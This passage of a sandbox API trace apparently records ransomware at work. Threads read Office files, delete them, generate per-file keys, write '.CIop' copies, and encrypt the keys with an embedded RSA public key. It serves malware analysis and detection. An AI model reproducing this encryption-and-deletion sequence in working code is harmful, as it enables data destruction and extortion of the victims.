[0094.078] CloseHandle (hObject=0x47c) returned 1 [0094.078] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CQjd3NSx.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\cqjd3nsx.ppt")) returned 1 [0094.079] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0094.079] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0094.080] SetErrorMode (uMode=0x1) returned 0x1 [0094.080] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x62e190) returned 1 [0094.082] CryptGenKey (in: hProv=0x62e190, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c3090) returned 1 [0094.170] CryptExportKey (in: hKey=0x5c3090, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.170] CryptExportKey (in: hKey=0x5c3090, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.170] CryptDestroyKey (hKey=0x5c3090) returned 1 [0094.170] CryptReleaseContext (hProv=0x62e190, dwFlags=0x0) returned 1 [0094.170] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CQjd3NSx.ppt.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\cqjd3nsx.ppt.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a4 [0094.171] WriteFile (in: hFile=0x4a4, lpBuffer=0x638ce8*, nNumberOfBytesToWrite=0x165ff, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesWritten=0x2fee5d8*=0x165ff, lpOverlapped=0x0) returned 1 [0094.172] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x165ff [0094.172] WriteFile (in: hFile=0x4a4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0094.172] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16606 [0094.172] SetErrorMode (uMode=0x1) returned 0x1 [0094.172] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0094.172] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0094.172] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0094.173] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x62e080) returned 1 [0094.173] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62e080, dwCertEncodingType=0x1, pInfo=0x682fb0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c3090) returned 1 [0094.173] CryptEncrypt (in: hKey=0x5c3090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0094.173] CryptEncrypt (in: hKey=0x5c3090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62e108*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62e108*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0094.173] WriteFile (in: hFile=0x4a4, lpBuffer=0x62e108*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x62e108*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0094.173] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.174] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.174] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.174] CloseHandle (hObject=0x4a4) returned 1 [0094.176] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CQjd3NSx.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\cqjd3nsx.ppt")) returned 0 Thread: id = 99 os_tid = 0x15c [0094.177] lstrcpyA (in: lpString1=0x314e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.177] lstrcpyW (in: lpString1=0x314f368, lpString2="DYnSH7i.xls" | out: lpString1="DYnSH7i.xls") returned="DYnSH7i.xls" [0094.177] lstrcpyW (in: lpString1=0x314f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0094.177] SetErrorMode (uMode=0x1) returned 0x1 [0094.177] wsprintfW (in: param_1=0x314eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\DYnSH7i.xls") returned 86 [0094.177] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\DYnSH7i.xls", dwFileAttributes=0x20) returned 1 [0094.177] StrStrW (lpFirst="DYnSH7i.xls", lpSrch=".CIop") returned 0x0 [0094.178] wsprintfW (in: param_1=0x314e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\DYnSH7i.xls.CIop") returned 91 [0094.178] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\DYnSH7i.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\dynsh7i.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0094.178] ReadFile (in: hFile=0x494, lpBuffer=0x638ce8, nNumberOfBytesToRead=0x1126f, lpNumberOfBytesRead=0x314e5e8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesRead=0x314e5e8*=0x1126f, lpOverlapped=0x0) returned 1 [0094.179] CloseHandle (hObject=0x494) returned 1 [0094.179] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\DYnSH7i.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\dynsh7i.xls")) returned 1 [0094.181] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0094.181] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0094.181] SetErrorMode (uMode=0x1) returned 0x1 [0094.181] CryptAcquireContextW (in: phProv=0x314e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x314e5b8*=0x62e328) returned 1 [0094.183] CryptGenKey (in: hProv=0x62e328, Algid=0x1, dwFlags=0x4000, phKey=0x314e5bc | out: phKey=0x314e5bc*=0x5c3110) returned 1 [0094.198] CryptExportKey (in: hKey=0x5c3110, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x314e5ec | out: pbData=0x0*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0094.199] CryptExportKey (in: hKey=0x5c3110, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x314e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0094.199] CryptDestroyKey (hKey=0x5c3110) returned 1 [0094.199] CryptReleaseContext (hProv=0x62e328, dwFlags=0x0) returned 1 [0094.199] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\DYnSH7i.xls.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\dynsh7i.xls.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0094.199] WriteFile (in: hFile=0x494, lpBuffer=0x638ce8*, nNumberOfBytesToWrite=0x1126f, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesWritten=0x314e5d8*=0x1126f, lpOverlapped=0x0) returned 1 [0094.201] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1126f [0094.201] WriteFile (in: hFile=0x494, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x314e5d8*=0x7, lpOverlapped=0x0) returned 1 [0094.201] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11276 [0094.201] SetErrorMode (uMode=0x1) returned 0x1 [0094.201] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0094.201] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0094.201] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x314d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598 | out: pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598) returned 1 [0094.201] CryptAcquireContextW (in: phProv=0x314d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d5a8*=0x62e6e0) returned 1 [0094.202] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62e6e0, dwCertEncodingType=0x1, pInfo=0x6832f0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x314d5b0 | out: phKey=0x314d5b0*=0x5c2a90) returned 1 [0094.202] CryptEncrypt (in: hKey=0x5c2a90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x314d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x314d5b4*=0x80) returned 1 [0094.202] CryptEncrypt (in: hKey=0x5c2a90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62e768*, pdwDataLen=0x314d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62e768*, pdwDataLen=0x314d5a4*=0x80) returned 1 [0094.202] WriteFile (in: hFile=0x494, lpBuffer=0x62e768*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62e768*, lpNumberOfBytesWritten=0x314e5d8*=0x80, lpOverlapped=0x0) returned 1 [0094.202] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.202] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.203] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.203] CloseHandle (hObject=0x494) returned 1 [0094.204] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\DYnSH7i.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\dynsh7i.xls")) returned 0 Thread: id = 100 os_tid = 0x204 [0094.232] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.232] lstrcpyW (in: lpString1=0x2fef368, lpString2="mR4SZZ7.pptx" | out: lpString1="mR4SZZ7.pptx") returned="mR4SZZ7.pptx" [0094.232] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0094.232] SetErrorMode (uMode=0x1) returned 0x1 [0094.232] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\mR4SZZ7.pptx") returned 87 [0094.232] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\mR4SZZ7.pptx", dwFileAttributes=0x20) returned 1 [0094.233] StrStrW (lpFirst="mR4SZZ7.pptx", lpSrch=".CIop") returned 0x0 [0094.233] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\mR4SZZ7.pptx.CIop") returned 92 [0094.233] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\mR4SZZ7.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\mr4szz7.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a4 [0094.234] ReadFile (in: hFile=0x4a4, lpBuffer=0x652658, nNumberOfBytesToRead=0x181db, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x652658*, lpNumberOfBytesRead=0x2fee5e8*=0x181db, lpOverlapped=0x0) returned 1 [0094.234] CloseHandle (hObject=0x4a4) returned 1 [0094.234] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\mR4SZZ7.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\mr4szz7.pptx")) returned 1 [0094.236] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0094.236] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0094.236] SetErrorMode (uMode=0x1) returned 0x1 [0094.236] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x62e328) returned 1 [0094.238] CryptGenKey (in: hProv=0x62e328, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c3110) returned 1 [0094.259] CryptExportKey (in: hKey=0x5c3110, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.259] CryptExportKey (in: hKey=0x5c3110, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.259] CryptDestroyKey (hKey=0x5c3110) returned 1 [0094.259] CryptReleaseContext (hProv=0x62e328, dwFlags=0x0) returned 1 [0094.259] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\mR4SZZ7.pptx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\mr4szz7.pptx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a4 [0094.259] WriteFile (in: hFile=0x4a4, lpBuffer=0x652658*, nNumberOfBytesToWrite=0x181db, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x652658*, lpNumberOfBytesWritten=0x2fee5d8*=0x181db, lpOverlapped=0x0) returned 1 [0094.261] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x181db [0094.261] WriteFile (in: hFile=0x4a4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0094.261] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x181e2 [0094.261] SetErrorMode (uMode=0x1) returned 0x1 [0094.261] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0094.261] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0094.261] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0094.261] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x62e328) returned 1 [0094.262] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62e328, dwCertEncodingType=0x1, pInfo=0x6833c0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c2e10) returned 1 [0094.262] CryptEncrypt (in: hKey=0x5c2e10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0094.262] CryptEncrypt (in: hKey=0x5c2e10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62ecb8*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62ecb8*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0094.262] WriteFile (in: hFile=0x4a4, lpBuffer=0x62ecb8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x62ecb8*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0094.262] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.263] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.263] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.263] CloseHandle (hObject=0x4a4) returned 1 [0094.265] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\mR4SZZ7.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\mr4szz7.pptx")) returned 0 Thread: id = 101 os_tid = 0x340 